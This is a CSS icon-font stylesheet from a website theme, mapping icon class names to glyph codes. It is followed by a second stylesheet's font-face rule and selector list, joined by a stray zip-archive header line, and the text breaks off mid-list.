.icon-arrow-down-6:before {
	content: "\e34b";
}
.icon-arrow-left-6:before {
	content: "\e34c";
}
.icon-untitled:before {
	content: "\e34d";
}
.icon-arrow-up-7:before {
	content: "\e34e";
}
.icon-arrow-down-7:before {
	content: "\e34f";
}
.icon-arrow-left-7:before {
	content: "\e350";
}
.icon-arrow-right-7:before {
	content: "\e351";
}
.icon-arrow-up-8:before {
	content: "\e352";
}
.icon-arrow-down-8:before {
	content: "\e353";
}
.icon-arrow-left-8:before {
	content: "\e354";
}
.icon-arrow-right-8:before {
	content: "\e355";
}
.icon-arrow-up-9:before {
	content: "\e356";
}
.icon-arrow-down-9:before {
	content: "\e357";
}
.icon-arrow-left-9:before {
	content: "\e358";
}
.icon-arrow-right-9:before {
	content: "\e359";
}
.icon-arrow-up-10:before {
	content: "\e35a";
}
.icon-arrow-down-10:before {
	content: "\e35b";
}
.icon-arrow-left-10:before {
	content: "\e35c";
}
.icon-arrow-right-10:before {
	content: "\e35d";
}
.icon-arrow-up-11:before {
	content: "\e35e";
}
.icon-arrow-down-11:before {
	content: "\e35f";
}
.icon-arrow-left-11:before {
	content: "\e360";
}
.icon-arrow-right-11:before {
	content: "\e361";
}
.icon-arrow-up-12:before {
	content: "\e362";
}
.icon-arrow-down-12:before {
	content: "\e363";
}
.icon-arrow-left-12:before {
	content: "\e364";
}
.icon-arrow-right-12:before {
	content: "\e365";
}
.icon-arrow-up--upload:before {
	content: "\e366";
}
.icon-arrow-down-13:before {
	content: "\e367";
}
.icon-arrow-left-13:before {
	content: "\e368";
}
.icon-flow-parallel:before {
	content: "\e369";
}
.icon-flow-line:before {
	content: "\e36a";
}
.icon-flow-tree:before {
	content: "\e36b";
}
.icon-flow-branch:before {
	content: "\e36c";
}
.icon-flow-cascade:before {
	content: "\e36d";
}
.icon-mute:before {
	content: "\e36e";
}
.icon-sound:before {
	content: "\e36f";
}
.icon-volume-4:before {
	content: "\e370";
}
.icon-resize-shrink:before {
	content: "\e371";
}
.icon-resize-enlarge:before {
	content: "\e372";
}
.icon-last-3:before {
	content: "\e373";
}
.icon-first-3:before {
	content: "\e374";
}
.icon-previous-2:before {
	content: "\e375";
}
.icon-next-2:before {
	content: "\e376";
}
.icon-stop-6:before {
	content: "\e377";
}
.icon-record:before {
	content: "\e378";
}
.icon-pause-6:before {
	content: "\e379";
}
.icon-play-7:before {
	content: "\e37a";
}
.icon-book-4:before {
	content: "\e37b";
}
.icon-bookmarks-2:before {
	content: "\e37c";
}
.icon-bookmark-5:before {
	content: "\e37d";
}
.icon-upload-6:before {
	content: "\e37e";
}
.icon-cloud-10:before {
	content: "\e37f";
}
.icon-install:before {
	content: "\e380";
}
.icon-disk-3:before {
	content: "\e381";
}
.icon-download-6:before {
	content: "\e382";
}
.icon-upload-7:before {
	content: "\e383";
}
.icon-trash-2:before {
	content: "\e384";
}
.icon-archive-2:before {
	content: "\e385";
}
.icon-folder-3:before {
	content: "\e386";
}
.icon-music-4:before {
	content: "\e387";
}
.icon-video:before {
	content: "\e388";
}
.icon-pictures:before {
	content: "\e389";
}
.icon-landscape:before {
	content: "\e38a";
}
.icon-docs:before {
	content: "\e38b";
}
.icon-document:before {
	content: "\e38c";
}
.icon-text:before {
	content: "\e38d";
}
.icon-text-2:before {
	content: "\e38e";
}
.icon-list-6:before {
	content: "\e38f";
}
.icon-layout:before {
	content: "\e390";
}
.icon-add-to-list:before {
	content: "\e391";
}
.icon-list-7:before {
	content: "\e392";
}
.icon-switch-3:before {
	content: "\e393";
}
.icon-back:before {
	content: "\e394";
}
.icon-history-2:before {
	content: "\e395";
}
.icon-loop-5:before {
	content: "\e396";
}
.icon-retweet-2:before {
	content: "\e397";
}
.icon-arrow:before {
	content: "\e398";
}
.icon-arrow-2:before {
	content: "\e399";
}
.icon-shuffle-2:before {
	content: "\e39a";
}
.icon-ccw:before {
	content: "\e39b";
}
.icon-cw:before {
	content: "\e39c";
}
.icon-cycle:before {
	content: "\e39d";
}
.icon-warning-3:before {
	content: "\e39e";
}
.icon-help:before {
	content: "\e39f";
}
.icon-question-3:before {
	content: "\e3a0";
}
.icon-info-6:before {
	content: "\e3a1";
}
.icon-info-7:before {
	content: "\e3a2";
}
.icon-blocked-3:before {
	content: "\e3a3";
}
.icon-erase:before {
	content: "\e3a4";
}
.icon-plus-5:before {
	content: "\e3a5";
}
.icon-minus-5:before {
	content: "\e3a6";
}
.icon-cross:before {
	content: "\e3a7";
}
.icon-plus-6:before {
	content: "\e3a8";
}
.icon-minus-6:before {
	content: "\e3a9";
}
.icon-cross-2:before {
	content: "\e3aa";
}
.icon-plus-7:before {
	content: "\e3ab";
}
.icon-minus-7:before {
	content: "\e3ac";
}
.icon-cross-3:before {
	content: "\e3ad";
}
.icon-checkmark-5:before {
	content: "\e3ae";
}
.icon-login:before {
	content: "\e3af";
}
.icon-logout:before {
	content: "\e3b0";
}
.icon-lock-open:before {
	content: "\e3b1";
}
.icon-lock-4:before {
	content: "\e3b2";
}
.icon-graph:before {
	content: "\e3b3";
}
.icon-bars-4:before {
	content: "\e3b4";
}
.icon-pie-2:before {
	content: "\e3b5";
}
.icon-statistics:before {
	content: "\e3b6";
}
.icon-untitled-2:before {
	content: "\e3b7";
}
.icon-droplets:before {
	content: "\e3b8";
}
.icon-thermometer-2:before {
	content: "\e3b9";
}
.icon-signal-2:before {
	content: "\e3ba";
}
.icon-rss-3:before {
	content: "\e3bb";
}
.icon-ticket-3:before {
	content: "\e3bc";
}
.icon-box-2:before {
	content: "\e3bd";
}
.icon-cart-5:before {
	content: "\e3be";
}
.icon-clipboard:before {
	content: "\e3bf";
}
.icon-voicemail:before {
	content: "\e3c0";
}
.icon-database-2:before {
	content: "\e3c1";
}
.icon-credit-card-2:before {
	content: "\e3c2";
}
.icon-light-bulb:before {
	content: "\e3c3";
}
.icon-infinity:before {
	content: "\e3c4";
}
.icon-screen-2:before {
	content: "\e3c5";
}
.icon-code-4:before {
	content: "\e3c6";
}
.icon-adjust-2:before {
	content: "\e3c7";
}
.icon-sun-5:before {
	content: "\e3c8";
}
.icon-sun-6:before {
	content: "\e3c9";
}
.icon-progress-0:before {
	content: "\e3ca";
}
.icon-brogress-1:before {
	content: "\e3cb";
}
.icon-progress-2:before {
	content: "\e3cc";
}
.icon-progress-3:before {
	content: "\e3cd";
}
.icon-publish:before {
	content: "\e3ce";
}
.icon-browser:before {
	content: "\e3cf";
}
.icon-keyboard-4:before {
	content: "\e3d0";
}
.icon-earth-3:before {
	content: "\e3d1";
}
.icon-cone-2:before {
	content: "\e3d2";
}
.icon-suitcase-2:before {
	content: "\e3d3";
}
.icon-brush-2:before {
	content: "\e3d4";
}
.icon-rocket-3:before {
	content: "\e3d5";
}
.icon-cup:before {
	content: "\e3d6";
}
.icon-drive:before {
	content: "\e3d7";
}
.icon-magnet-3:before {
	content: "\e3d8";
}
.icon-bucket:before {
	content: "\e3d9";
}
.icon-battery-2:before {
	content: "\e3da";
}
.icon-key-5:before {
	content: "\e3db";
}
.icon-network:before {
	content: "\e3dc";
}
.icon-language:before {
	content: "\e3dd";
}
.icon-gauge:before {
	content: "\e3de";
}
.icon-hourglass:before {
	content: "\e3df";
}
.icon-air:before {
	content: "\e3e0";
}
.icon-briefcase-4:before {
	content: "\e3e1";
}
.icon-cd-2:before {
	content: "\e3e2";
}
.icon-droplet-3:before {
	content: "\e3e3";
}
.icon-thunder:before {
	content: "\e3e4";
}
.icon-bolt-4:before {
	content: "\e3e5";
}
.icon-calendar-6:before {
	content: "\e3e6";
}
.icon-microphone-3:before {
	content: "\e3e7";
}
.icon-clock-5:before {
	content: "\e3e8";
}
.icon-eye-5:before {
	content: "\e3e9";
}
.icon-lifebuoy:before {
	content: "\e3ea";
}
.icon-airplane-2:before {
	content: "\e3eb";
}
.icon-bag:before {
	content: "\e3ec";
}
.icon-newspaper-2:before {
	content: "\e3ed";
}
.icon-book-5:before {
	content: "\e3ee";
}
.icon-graduation:before {
	content: "\e3ef";
}
.icon-new:before {
	content: "\e3f0";
}
.icon-music-5:before {
	content: "\e3f1";
}
.icon-music-6:before {
	content: "\e3f2";
}
.icon-leaf-3:before {
	content: "\e3f3";
}
.icon-palette:before {
	content: "\e3f4";
}
.icon-moon-4:before {
	content: "\e3f5";
}
.icon-megaphone:before {
	content: "\e3f6";
}
.icon-camera-7:before {
	content: "\e3f7";
}
.icon-tag-4:before {
	content: "\e3f8";
}
.icon-trophy-4:before {
	content: "\e3f9";
}
.icon-tools:before {
	content: "\e3fa";
}
.icon-cog-6:before {
	content: "\e3fb";
}
.icon-flag-4:before {
	content: "\e3fc";
}
.icon-link-4:before {
	content: "\e3fd";
}
.icon-bell-3:before {
	content: "\e3fe";
}
.icon-printer:before {
	content: "\e3ff";
}
.icon-flashlight:before {
	content: "\e400";
}
.icon-search-4:before {
	content: "\e401";
}
.icon-popup:before {
	content: "\e402";
}
.icon-house:before {
	content: "\e403";
}
.icon-quote:before {
	content: "\e404";
}
.icon-comment-3:before {
	content: "\e405";
}
.icon-chat-2:before {
	content: "\e406";
}
.icon-thumbs-down-4:before {
	content: "\e407";
}
.icon-thumbs-up-6:before {
	content: "\e408";
}
.icon-star-8:before {
	content: "\e409";
}
.icon-star-9:before {
	content: "\e40a";
}
.icon-heart-5:before {
	content: "\e40b";
}
.icon-heart-6:before {
	content: "\e40c";
}
.icon-sharable:before {
	content: "\e40d";
}
.icon-share-4:before {
	content: "\e40e";
}
.icon-target-6:before {
	content: "\e40f";
}
.icon-location-5:before {
	content: "\e410";
}
.icon-compass-6:before {
	content: "\e411";
}
.icon-map-3:before {
	content: "\e412";
}
.icon-location-6:before {
	content: "\e413";
}
.icon-export:before {
	content: "\e414";
}
.icon-vcard:before {
	content: "\e415";
}
.icon-user-add:before {
	content: "\e416";
}
.icon-users-3:before {
	content: "\e417";
}
.icon-user-8:before {
	content: "\e418";
}
.icon-forward-6:before {
	content: "\e419";
}
.icon-reply-all-2:before {
	content: "\e41a";
}
.icon-reply-3:before {
	content: "\e41b";
}
.icon-drawer-4:before {
	content: "\e41c";
}
.icon-paperclip-3:before {
	content: "\e41d";
}
.icon-feather:before {
	content: "\e41e";
}
.icon-pencil-5:before {
	content: "\e41f";
}
.icon-paperplane:before {
	content: "\e420";
}
.icon-mail-6:before {
	content: "\e421";
}
.icon-directions:before {
	content: "\e422";
}
.icon-mouse-2:before {
	content: "\e423";
}
.icon-mobile-5:before {
	content: "\e424";
}
.icon-phone-4:before {
	content: "\e425";
}
PK!Hh��y{y{#bluetheme/assets/css/icon-admin.cssnu&1i�@font-face {
	font-family: 'icon-shinetheme';
	src:url('fonts/icon-shinetheme.eot');
	src:url('fonts/icon-shinetheme.eot?#iefix') format('embedded-opentype'),
		url('fonts/icon-shinetheme.woff') format('woff'),
		url('fonts/icon-shinetheme.ttf') format('truetype'),
		url('fonts/icon-shinetheme.svg#icomoon') format('svg');
	font-weight: normal;
	font-style: normal;
}

/* Use the following CSS code if you want to use data attributes for inserting your icons */
[data-icon]:before {
	font-family: 'icon-shinetheme';
	content: attr(data-icon);
	speak: none;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
}

/* Use the following CSS code if you want to have a class per icon */
/*
Instead of a list of all class selectors,
you can use the generic selector below, but it's slower:
[class*="icon-"] {
*/
.icon-home, .icon-home-2, .icon-home-3, .icon-office, .icon-newspaper, .icon-pencil, .icon-pencil-2, .icon-quill, .icon-pen, .icon-blog, .icon-droplet, .icon-paint-format, .icon-image, .icon-image-2, .icon-images, .icon-camera, .icon-music, .icon-headphones, .icon-play, .icon-film, .icon-camera-2, .icon-dice, .icon-pacman, .icon-spades, .icon-clubs, .icon-diamonds, .icon-pawn, .icon-bullhorn, .icon-connection, .icon-podcast, .icon-feed, .icon-book, .icon-books, .icon-library, .icon-file, .icon-profile, .icon-file-2, .icon-file-3, .icon-file-4, .icon-copy, .icon-copy-2, .icon-copy-3, .icon-paste, .icon-paste-2, .icon-paste-3, .icon-stack, .icon-folder, .icon-folder-open, .icon-tag, .icon-tags, .icon-barcode, .icon-qrcode, .icon-ticket, .icon-cart, .icon-cart-2, .icon-cart-3, .icon-coin, .icon-credit, .icon-calculate, .icon-support, .icon-phone, .icon-phone-hang-up, .icon-address-book, .icon-notebook, .icon-envelop, .icon-pushpin, .icon-location, .icon-location-2, .icon-compass, .icon-map, .icon-map-2, .icon-history, .icon-clock, .icon-clock-2, .icon-alarm, .icon-alarm-2, .icon-bell, .icon-stopwatch, .icon-calendar, .icon-calendar-2, .icon-print, .icon-keyboard, .icon-screen, .icon-laptop, .icon-mobile, .icon-mobile-2, .icon-tablet, .icon-tv, .icon-cabinet, .icon-drawer, .icon-drawer-2, .icon-drawer-3, .icon-box-add, .icon-box-remove, .icon-download, .icon-upload, .icon-disk, .icon-storage, .icon-undo, .icon-redo, .icon-flip, .icon-flip-2, .icon-undo-2, .icon-redo-2, .icon-forward, .icon-reply, .icon-bubble, .icon-bubbles, .icon-bubbles-2, .icon-bubble-2, .icon-bubbles-3, .icon-bubbles-4, .icon-user, .icon-users, .icon-user-2, .icon-users-2, .icon-user-3, .icon-user-4, .icon-quotes-left, .icon-busy, .icon-spinner, .icon-spinner-2, .icon-spinner-3, .icon-spinner-4, .icon-spinner-5, .icon-spinner-6, .icon-binoculars, .icon-search, .icon-zoom-in, .icon-zoom-out, .icon-expand, .icon-contract, .icon-expand-2, .icon-contract-2, .icon-key, .icon-key-2, .icon-lock, .icon-lock-2, .icon-unlocked, .icon-wrench, .icon-settings, .icon-equalizer, .icon-cog, .icon-cogs, .icon-cog-2, .icon-hammer, .icon-wand, .icon-aid, .icon-bug, .icon-pie, .icon-stats, .icon-bars, .icon-bars-2, .icon-gift, .icon-trophy, .icon-glass, .icon-mug, .icon-food, .icon-leaf, .icon-rocket, .icon-meter, .icon-meter2, .icon-dashboard, .icon-hammer-2, .icon-fire, .icon-lab, .icon-magnet, .icon-remove, .icon-remove-2, .icon-briefcase, .icon-airplane, .icon-truck, .icon-road, .icon-accessibility, .icon-target, .icon-shield, .icon-lightning, .icon-switch, .icon-power-cord, .icon-signup, .icon-list, .icon-list-2, .icon-numbered-list, .icon-menu, .icon-menu-2, .icon-tree, .icon-cloud, .icon-cloud-download, .icon-cloud-upload, .icon-download-2, .icon-upload-2, .icon-download-3, .icon-upload-3, .icon-globe, .icon-earth, .icon-link, .icon-flag, .icon-attachment, .icon-eye, .icon-eye-blocked, .icon-eye-2, .icon-bookmark, .icon-bookmarks, .icon-brightness-medium, .icon-brightness-contrast, .icon-contrast, .icon-star, .icon-star-2, .icon-star-3, .icon-heart, .icon-heart-2, .icon-heart-broken, .icon-thumbs-up, .icon-thumbs-up-2, .icon-happy, .icon-happy-2, .icon-smiley, .icon-smiley-2, .icon-tongue, .icon-tongue-2, .icon-sad, .icon-sad-2, .icon-wink, .icon-wink-2, .icon-grin, .icon-grin-2, .icon-cool, .icon-cool-2, .icon-angry, .icon-angry-2, .icon-evil, .icon-evil-2, .icon-shocked, .icon-shocked-2, .icon-confused, .icon-confused-2, .icon-neutral, .icon-neutral-2, .icon-wondering, .icon-wondering-2, .icon-point-up, .icon-point-right, .icon-point-down, .icon-point-left, .icon-warning, .icon-notification, .icon-question, .icon-info, .icon-info-2, .icon-blocked, .icon-cancel-circle, .icon-checkmark-circle, .icon-spam, .icon-close, .icon-checkmark, .icon-checkmark-2, .icon-spell-check, .icon-minus, .icon-plus, .icon-enter, .icon-exit, .icon-play-2, .icon-pause, .icon-stop, .icon-backward, .icon-forward-2, .icon-play-3, .icon-pause-2, .icon-stop-2, .icon-backward-2, .icon-forward-3, .icon-first, .icon-last, .icon-previous, .icon-next, .icon-eject, .icon-volume-high, .icon-volume-medium, .icon-volume-low, .icon-volume-mute, .icon-volume-mute-2, .icon-volume-increase, .icon-volume-decrease, .icon-loop, .icon-loop-2, .icon-loop-3, .icon-shuffle, .icon-arrow-up-left, .icon-arrow-up, .icon-arrow-up-right, .icon-arrow-right, .icon-arrow-down-right, .icon-arrow-down, .icon-arrow-down-left, .icon-arrow-left, .icon-arrow-up-left-2, .icon-arrow-up-2, .icon-arrow-up-right-2, .icon-arrow-right-2, .icon-arrow-down-right-2, .icon-arrow-down-2, .icon-arrow-down-left-2, .icon-arrow-left-2, .icon-arrow-up-left-3, .icon-arrow-up-3, .icon-arrow-up-right-3, .icon-arrow-right-3, .icon-arrow-down-right-3, .icon-arrow-down-3, .icon-arrow-down-left-3, .icon-arrow-left-3, .icon-tab, .icon-checkbox-checked, .icon-checkbox-unchecked, .icon-checkbox-partial, .icon-radio-checked, .icon-radio-unchecked, .icon-crop, .icon-scissors, .icon-filter, .icon-filter-2, .icon-font, .icon-text-height, .icon-text-width, .icon-bold, .icon-underline, .icon-italic, .icon-strikethrough, .icon-omega, .icon-sigma, .icon-table, .icon-table-2, .icon-insert-template, .icon-pilcrow, .icon-left-to-right, .icon-right-to-left, .icon-paragraph-left, .icon-paragraph-center, .icon-paragraph-right, .icon-paragraph-justify, .icon-paragraph-left-2, .icon-paragraph-center-2, .icon-paragraph-right-2, .icon-paragraph-justify-2, .icon-indent-increase, .icon-indent-decrease, .icon-new-tab, .icon-embed, .icon-code, .icon-console, .icon-share, .icon-mail, .icon-mail-2, .icon-mail-3, .icon-mail-4, .icon-google, .icon-google-plus, .icon-google-plus-2, .icon-google-plus-3, .icon-google-plus-4, .icon-google-drive, .icon-facebook, .icon-facebook-2, .icon-facebook-3, .icon-instagram, .icon-twitter, .icon-twitter-2, .icon-twitter-3, .icon-feed-2, .icon-feed-3, .icon-feed-4, .icon-youtube, .icon-youtube-2, .icon-vimeo, .icon-vimeo2, .icon-vimeo-2, .icon-lanyrd, .icon-flickr, .icon-flickr-2, .icon-flickr-3, .icon-flickr-4, .icon-picassa, .icon-picassa-2, .icon-dribbble, .icon-dribbble-2, .icon-dribbble-3, .icon-forrst, .icon-forrst-2, .icon-deviantart, .icon-deviantart-2, .icon-steam, .icon-steam-2, .icon-github, .icon-github-2, .icon-github-3, .icon-github-4, .icon-github-5, .icon-wordpress, .icon-wordpress-2, .icon-joomla, .icon-blogger, .icon-blogger-2, .icon-tumblr, .icon-tumblr-2, .icon-yahoo, .icon-tux, .icon-apple, .icon-finder, .icon-android, .icon-windows, .icon-windows8, .icon-soundcloud, .icon-soundcloud-2, .icon-skype, .icon-reddit, .icon-linkedin, .icon-lastfm, .icon-lastfm-2, .icon-delicious, .icon-stumbleupon, .icon-stumbleupon-2, .icon-stackoverflow, .icon-pinterest, .icon-pinterest-2, .icon-xing, .icon-xing-2, .icon-flattr, .icon-foursquare, .icon-foursquare-2, .icon-paypal, .icon-paypal-2, .icon-paypal-3, .icon-yelp, .icon-libreoffice, .icon-file-pdf, .icon-file-openoffice, .icon-file-word, .icon-file-excel, .icon-file-zip, .icon-file-powerpoint, .icon-file-xml, .icon-file-css, .icon-html5, .icon-html5-2, .icon-css3, .icon-chrome, .icon-firefox, .icon-IE, .icon-opera, .icon-safari, .icon-IcoMoon, .icon-chat, .icon-chat-alt-stroke, .icon-chat-alt-fill, .icon-comment-alt1-stroke, .icon-comment-alt1-fill, .icon-comment-stroke, .icon-comment-fill, .icon-comment-alt2-stroke, .icon-comment-alt2-fill, .icon-checkmark-3, .icon-check-alt, .icon-x, .icon-x-altx-alt, .icon-denied, .icon-cursor, .icon-rss, .icon-rss-alt, .icon-wrench-2, .icon-dial, .icon-cog-3, .icon-calendar-3, .icon-calendar-alt-stroke, .icon-calendar-alt-fill, .icon-share-2, .icon-mail-5, .icon-heart-stroke, .icon-heart-fill, .icon-movie, .icon-document-alt-stroke, .icon-document-alt-fill, .icon-document-stroke, .icon-document-fill, .icon-plus-2, .icon-plus-alt, .icon-minus-2, .icon-minus-alt, .icon-pin, .icon-link-2, .icon-bolt, .icon-move, .icon-move-alt1, .icon-move-alt2, .icon-equalizer-2, .icon-award-fill, .icon-award-stroke, .icon-magnifying-glass, .icon-trash-stroke, .icon-trash-fill, .icon-beaker-alt, .icon-beaker, .icon-key-stroke, .icon-key-fill, .icon-new-window, .icon-lightbulb, .icon-spin-alt, .icon-spin, .icon-curved-arrow, .icon-undo-3, .icon-reload, .icon-reload-alt, .icon-loop-4, .icon-loop-alt1, .icon-loop-alt2, .icon-loop-alt3, .icon-loop-alt4, .icon-transfer, .icon-move-vertical, .icon-move-vertical-alt1, .icon-move-vertical-alt2, .icon-move-horizontal, .icon-move-horizontal-alt1, .icon-move-horizontal-alt2, .icon-arrow-left-4, .icon-arrow-left-alt1, .icon-arrow-left-alt2, .icon-arrow-right-4, .icon-arrow-right-alt1, .icon-arrow-right-alt2, .icon-arrow-up-4, .icon-arrow-up-alt1, .icon-arrow-up-alt2, .icon-arrow-down-4, .icon-arrow-down-alt1, .icon-arrow-down-alt2, .icon-cd, .icon-steering-wheel, .icon-microphone, .icon-headphones-2, .icon-volume, .icon-volume-mute-3, .icon-play-4, .icon-pause-3, .icon-stop-3, .icon-eject-2, .icon-first-2, .icon-last-2, .icon-play-alt, .icon-fullscreen-exit, .icon-fullscreen-exit-alt, .icon-fullscreen, .icon-fullscreen-alt, .icon-iphone, .icon-battery-empty, .icon-battery-half, .icon-battery-full, .icon-battery-charging, .icon-compass-2, .icon-box, .icon-folder-stroke, .icon-folder-fill, .icon-at, .icon-ampersand, .icon-info-3, .icon-question-mark, .icon-pilcrow-2, .icon-hash, .icon-left-quote, .icon-right-quote, .icon-left-quote-alt, .icon-right-quote-alt, .icon-article, .icon-read-more, .icon-list-3, .icon-list-nested, .icon-book-2, .icon-book-alt, .icon-book-alt2, .icon-pen-2, .icon-pen-alt-stroke, .icon-pen-alt-fill, .icon-pen-alt2, .icon-brush, .icon-brush-alt, .icon-eyedropper, .icon-layers-alt, .icon-layers, .icon-image-3, .icon-camera-3, .icon-aperture, .icon-aperture-alt, .icon-chart, .icon-chart-alt, .icon-bars-3, .icon-bars-alt, .icon-eye-3, .icon-user-5, .icon-home-4, .icon-clock-3, .icon-lock-stroke, .icon-lock-fill, .icon-unlock-stroke, .icon-unlock-fill, .icon-tag-stroke, .icon-tag-fill, .icon-sun-stroke, .icon-sun-fill, .icon-moon-stroke, .icon-moon-fill, .icon-cloud-2, .icon-rain, .icon-umbrella, .icon-star-4, .icon-map-pin-stroke, .icon-map-pin-fill, .icon-map-pin-alt, .icon-target-2, .icon-download-4, .icon-upload-4, .icon-cloud-download-2, .icon-cloud-upload-2, .icon-fork, .icon-paperclip, .icon-sunrise, .icon-sun, .icon-moon, .icon-sun-2, .icon-windy, .icon-wind, .icon-snowflake, .icon-cloudy, .icon-cloud-3, .icon-weather, .icon-weather-2, .icon-weather-3, .icon-lines, .icon-cloud-4, .icon-lightning-2, .icon-lightning-3, .icon-rainy, .icon-rainy-2, .icon-windy-2, .icon-windy-3, .icon-snowy, .icon-snowy-2, .icon-snowy-3, .icon-weather-4, .icon-cloudy-2, .icon-cloud-5, .icon-lightning-4, .icon-sun-3, .icon-moon-2, .icon-cloudy-3, .icon-cloud-6, .icon-cloud-7, .icon-lightning-5, .icon-rainy-3, .icon-rainy-4, .icon-windy-4, .icon-windy-5, .icon-snowy-4, .icon-snowy-5, .icon-weather-5, .icon-cloudy-4, .icon-lightning-6, .icon-thermometer, .icon-compass-3, .icon-none, .icon-Celsius, .icon-Fahrenheit, .icon-warning-2, .icon-cloud-8, .icon-locked, .icon-inbox, .icon-comment, .icon-mic, .icon-envelope, .icon-briefcase-2, .icon-cart-4, .icon-contrast-2, .icon-clock-4, .icon-user-6, .icon-cog-4, .icon-music-2, .icon-twitter-4, .icon-pencil-3, .icon-frame, .icon-switch-2, .icon-star-5, .icon-key-3, .icon-chart-2, .icon-apple-2, .icon-file-5, .icon-plus-3, .icon-minus-3, .icon-picture, .icon-folder-2, .icon-camera-4, .icon-search-2, .icon-dribbble-4, .icon-forrst-3, .icon-feed-5, .icon-blocked-2, .icon-target-3, .icon-play-5, .icon-pause-4, .icon-bug-2, .icon-console-2, .icon-film-2, .icon-type, .icon-home-5, .icon-earth-2, .icon-location-3, .icon-info-4, .icon-eye-4, .icon-heart-3, .icon-bookmark-2, .icon-wrench-3, .icon-calendar-4, .icon-window, .icon-monitor, .icon-mobile-3, .icon-droplet-2, .icon-mouse, .icon-refresh, .icon-location-4, .icon-tag-2, .icon-phone-2, .icon-star-6, .icon-pointer, .icon-thumbs-up-3, .icon-thumbs-down, .icon-headphones-3, .icon-move-2, .icon-checkmark-4, .icon-cancel, .icon-skype-2, .icon-gift-2, .icon-cone, .icon-alarm-3, .icon-coffee, .icon-basket, .icon-flag-2, .icon-ipod, .icon-trashcan, .icon-bolt-2, .icon-ampersand-2, .icon-compass-4, .icon-list-4, .icon-grid, .icon-volume-2, .icon-volume-3, .icon-stats-2, .icon-target-4, .icon-forward-4, .icon-paperclip-2, .icon-keyboard-2, .icon-crop-2, .icon-floppy, .icon-filter-3, .icon-trophy-2, .icon-diary, .icon-address-book-2, .icon-stop-4, .icon-smiley-3, .icon-shit, .icon-bookmark-3, .icon-camera-5, .icon-lamp, .icon-disk-2, .icon-button, .icon-database, .icon-credit-card, .icon-atom, .icon-winsows, .icon-target-5, .icon-battery, .icon-code-2, .icon-renren, .icon-weibo, .icon-vk, .icon-bug-3, .icon-archive, .icon-moon-3, .icon-sun-4, .icon-gittip, .icon-male, .icon-female, .icon-trello, .icon-foursquare-3, .icon-skype-3, .icon-dribbble-5, .icon-linux, .icon-android-2, .icon-windows-2, .icon-apple-3, .icon-long-arrow-right, .icon-long-arrow-left, .icon-long-arrow-up, .icon-long-arrow-down, .icon-tumblr-sign, .icon-tumblr-3, .icon-bitbucket-sign, .icon-bitbucket, .icon-adn, .icon-flickr-5, .icon-instagram-2, .icon-stackexchange, .icon-dropbox, .icon-youtube-play, .icon-xing-sign, .icon-xing-3, .icon-youtube-3, .icon-youtube-sign, .icon-thumbs-down-2, .icon-thumbs-up-4, .icon-sort-by-order-alt, .icon-sort-by-order, .icon-sort-by-attributes-alt, .icon-sort-by-attributes, .icon-sort-by-alphabet-alt, .icon-sort-by-alphabet, .icon-file-text, .icon-file-6, .icon-bitcoin, .icon-won, .icon-renminbi, .icon-yen, .icon-rupee, .icon-dollar, .icon-gbp, .icon-euro, .icon-expand-3, .icon-collapse-top, .icon-collapse, .icon-compass-5, .icon-share-sign, .icon-external-link-sign, .icon-edit-sign, .icon-check-sign, .icon-level-down, .icon-level-up, .icon-check-minus, .icon-minus-sign-alt, .icon-ticket-2, .icon-play-sign, .icon-rss-sign, .icon-ellipsis-vertical, .icon-ellipsis-horizontal, .icon-bullseye, .icon-unlock-alt, .icon-anchor, .icon-css3-2, .icon-html5-3, .icon-chevron-sign-down, .icon-chevron-sign-up, .icon-chevron-sign-right, .icon-chevron-sign-left, .icon-maxcdn, .icon-rocket-2, .icon-fire-extinguisher, .icon-calendar-empty, .icon-shield-2, .icon-microphone-off, .icon-microphone-2, .icon-puzzle, .icon-eraser, .icon-subscript, .icon-superscript, .icon-exclamation, .icon-info-5, .icon-question-2, .icon-unlink, .icon-code-fork, .icon-crop-3, .icon-location-arrow, .icon-star-half-full, .icon-reply-all, .icon-code-3, .icon-terminal, .icon-flag-checkered, .icon-flag-alt, .icon-keyboard-3, .icon-gamepad, .icon-meh, .icon-frown, .icon-smile, .icon-collapse-alt, .icon-expand-alt, .icon-folder-open-alt, .icon-folder-close-alt, .icon-github-alt, .icon-reply-2, .icon-circle, .icon-spinner-7, .icon-quote-right, .icon-quote-left, .icon-circle-blank, .icon-mobile-4, .icon-tablet-2, .icon-laptop-2, .icon-desktop, .icon-angle-down, .icon-angle-up, .icon-angle-right, .icon-angle-left, .icon-double-angle-down, .icon-double-angle-up, .icon-double-angle-right, .icon-double-angle-left, .icon-plus-sign, .icon-h-sign, .icon-beer, .icon-fighter-jet, .icon-medkit, .icon-ambulance, .icon-hospital, .icon-building, .icon-file-alt, .icon-food-2, .icon-coffee-2, .icon-bell-alt, .icon-suitcase, .icon-stethoscope, .icon-user-md, .icon-cloud-upload-3, .icon-cloud-download-3, .icon-exchange, .icon-lightbulb-2, .icon-paste-4, .icon-umbrella-2, .icon-sitemap, .icon-bolt-3, .icon-comments-alt, .icon-comment-alt, .icon-dashboard-2, .icon-legal, .icon-undo-4, .icon-linkedin-2, .icon-envelope-alt, .icon-sort-up, .icon-sort-down, .icon-sort, .icon-columns, .icon-caret-right, .icon-caret-left, .icon-caret-up, .icon-caret-down, .icon-money, .icon-google-plus-5, .icon-google-plus-sign, .icon-pinterest-sign, .icon-pinterest-3, .icon-truck-2, .icon-magic, .icon-table-3, .icon-underline-2, .icon-strikethrough-2, .icon-list-ol, .icon-list-ul, .icon-reorder, .icon-sign-blank, .icon-save, .icon-paper-clip, .icon-copy-4, .icon-cut, .icon-beaker-2, .icon-cloud-9, .icon-link-3, .icon-group, .icon-fullscreen-2, .icon-briefcase-3, .icon-filter-4, .icon-tasks, .icon-wrench-4, .icon-globe-2, .icon-circle-arrow-down, .icon-circle-arrow-up, .icon-circle-arrow-right, .icon-circle-arrow-left, .icon-hand-down, .icon-hand-up, .icon-hand-left, .icon-hand-right, .icon-certificate, .icon-bell-2, .icon-bullhorn-2, .icon-hdd, .icon-rss-2, .icon-credit-2, .icon-unlock, .icon-github-6, .icon-facebook-4, .icon-twitter-5, .icon-phone-sign, .icon-bookmark-empty, .icon-check-empty, .icon-phone-3, .icon-lemon, .icon-upload-alt, .icon-github-sign, .icon-trophy-3, .icon-signin, .icon-external-link, .icon-pushpin-2, .icon-linkedin-sign, .icon-signout, .icon-heart-empty, .icon-star-half, .icon-thumbs-down-3, .icon-thumbs-up-5, .icon-comments, .icon-cogs-2, .icon-key-4, 